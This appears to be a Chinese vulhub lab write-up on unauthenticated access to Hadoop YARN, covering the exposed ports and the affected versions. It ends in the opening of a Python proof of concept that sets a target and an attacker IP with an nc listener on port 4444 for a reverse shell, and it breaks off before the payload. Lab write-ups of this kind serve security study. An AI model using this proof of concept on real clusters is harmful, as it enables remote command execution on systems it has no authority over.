【vulhub】hadoop

0x00 unauthorized-yarn（未授权访问）

1、简介

由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口，黑客可以通过命令行操作多个目录下的数据，如进行删除，下载，目录浏览甚至命令执行等操作，产生极大的危害。主要 HDFS 和 MapReduce 的 WebUI 对应的服务端口。

其中比较重要的是 DataNode 默认端口 50075 开放的话，攻击者可以通过 hdsf 提供的 restful api 对 hdfs 存储数据进行操作。
————————————————
https://blog.csdn.net/weixin_43061533/article/details/111219083

2、影响版本

3.3.0 以下

3、搭建

4、复现

poc：

#!/usr/bin/env python

import requests

import sys

target = 'http://172.17.0.1:8088'#目标机ip

lhost = '192.168.124.9' ##将你的本地ip填在这里，使用nc监听4444端口